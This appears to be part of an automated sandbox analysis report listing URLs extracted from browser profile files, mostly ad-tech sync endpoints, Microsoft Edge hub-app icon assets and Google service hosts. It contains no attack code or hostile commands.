Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.id5-sync.com/api/1.0/id5-api.js
Source: 000003.log8.5.dr	String found in binary or memory: https://cdn.optimizely.com/js/24721610109.js
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.undertone.com
Source: 000004.log.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.undertone.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.undertone.com/js/usersync.html?ccpa=1-N-
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.undertone.com/js/usersync.html?gdpr=&gdpr_consent=&us_privacy=1-N-&redirect=https%3A%2F%
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cdn.undertone.com/js/usersync.html?partnerid=59&gdpr=&gdpr_consent=&us_privacy=&redirect=htt
Source: offscreendocument_main.js.5.dr, service_worker_bin_prod.js.5.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: Web Data.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.5.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.5.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 8d5e2ce6-6fa9-4f52-a034-f39ed9a6e2ed.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.5.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 8d5e2ce6-6fa9-4f52-a034-f39ed9a6e2ed.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: 000003.log8.5.dr	String found in binary or memory: https://cmp.osano.com
Source: 000005.ldb.5.dr, 000003.log4.5.dr	String found in binary or memory: https://cmp.osano.com/
Source: 000003.log8.5.dr	String found in binary or memory: https://config.aps.amazon-adsystem.com/configs/0ab198dd-b265-462a-ae36-74e163ad6159
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cs-server-s2s.yellowblue.io
Source: 000004.log.5.dr, Session_13384336793195297.5.dr	String found in binary or memory: https://cs-server-s2s.yellowblue.io/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cs-server-s2s.yellowblue.io/cs?fwrd=1&aid=11607&uid=
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://cs-server-s2s.yellowblue.io/sync-iframe?gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Flive.pri
Source: Reporting and NEL.9.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media
Source: Reporting and NEL.9.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/adspam-signals-scs
Source: Reporting and NEL.9.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: Reporting and NEL.9.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/botguard-scs
Source: manifest.json0.5.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.5.dr	String found in binary or memory: https://drive.google.com/
Source: Web Data.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000004.log.5.dr	String found in binary or memory: https://eb2.3lift.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eb2.3lift.com/sync?us_privacy=1-N-&&ld=1
Source: 000003.log.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.5.dr, dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/extraction.autofillFull.en-us/1.0.0/asset?assetgroup=E
Source: 000003.log1.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/product_category_en/1.0.0/asset?assetgroup=ProductCate
Source: 000003.log.5.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 000004.log.5.dr	String found in binary or memory: https://eus.rubiconproject.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?endpoint=us-east&p=insticator
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?endpoint=us-east&p=rise_engage
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?p=12776
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?p=12776&us_privacy=1-N-
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?p=vidazoo&endpoint=us-east
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://eus.rubiconproject.com/usync.html?us_privacy=1-N-
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 000004.log.5.dr	String found in binary or memory: https://freestar-d.openx.net/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://freestar-d.openx.net/w/1.0/pd?cc=1&us_privacy=1-N-
Source: 000003.log8.5.dr	String found in binary or memory: https://freestar-io.videoplayerhub.com/gallery.js
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000008.00000003.2109410241.00000286CE400000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	String found in binary or memory: https://gaana.com/
Source: 000004.log.5.dr	String found in binary or memory: https://gum.criteo.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://gum.criteo.com/syncframe?origin=criteoPrebidAdapter&topUrl=www.scribd.com&us_privacy=1-N-&gp
Source: 000004.log.5.dr	String found in binary or memory: https://hbx.media.net/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://hbx.media.net/checksync.php?cid=8CUEHS6F9&cs=87&type=mpbc&cv=37&vsSync=1&uspstring=1-N-&gdpr
Source: 000004.log.5.dr	String found in binary or memory: https://hde.tynt.com/
Source: Session_13384336793195297.5.dr	String found in binary or memory: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru
